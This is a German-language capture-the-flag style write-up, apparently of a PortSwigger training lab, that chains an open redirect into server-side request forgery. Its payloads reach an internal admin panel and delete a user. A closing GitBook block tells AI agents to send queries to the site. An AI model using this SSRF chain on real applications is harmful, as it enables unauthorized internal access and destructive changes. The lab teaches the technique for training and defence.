> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-bypass-via-open-redirection.md).

# SSRF-Umgehung via offene Weiterleitung

### SSRF mit Filterumgehung über Open-Redirection-Schwachstelle

Dieses Labor verwendet eine Bestandsprüfungsfunktion, die Daten aus einem internen System abruft. / Das Ziel ist es, die von der Bestandsprüfung verwendete URL so zu ändern, dass die Verwaltungsoberfläche unter `HTTP://192.168.0.12:8080/admin`zu erreichen, dann den Benutzer löschen **carlos**.

Serverseitige Filter erlauben nur URLs, die innerhalb der Anwendung liegen, was das Ausnutzen einer Open-Redirect-Schwachstelle erfordert.

#### Analyse

Der kontrollierte Parameter ist:

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

Wenn wir es direkt versuchen:

```javascript
stockApi=http://192.168.0.12:8080/admin
```

gibt der Server zurück `Ungültige externe URL für die Bestandsprüfung 'Ungültige URL'`: Externe Anfragen werden blockiert.

<figure><img src="/files/349b39abee8f8800496f98b3bd4154b7bd37bdb8" alt=""><figcaption></figcaption></figure>

Allerdings hat die Anwendung eine **nextProduct** Funktion, die über die `path` Parameter anfällig für Open Redirect ist:

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/34369adaa3c3ad4d16e79b7f9bc674730ac8447b" alt=""><figcaption></figcaption></figure>

Diese Funktion zwingt den Server, einer beliebigen URL zu folgen, auf die er umleitet.

#### Ausnutzung

Der interne Umleiter wird daher als Weiterleitung zum internen System verwendet:

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/8ab587d06c5711165907d2b5ced33f55cdef2f0c" alt=""><figcaption></figcaption></figure>

Sobald über diese Weiterleitung Zugriff auf die Admin-Oberfläche erlangt wurde, wird der Benutzer **carlos** gelöscht:

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
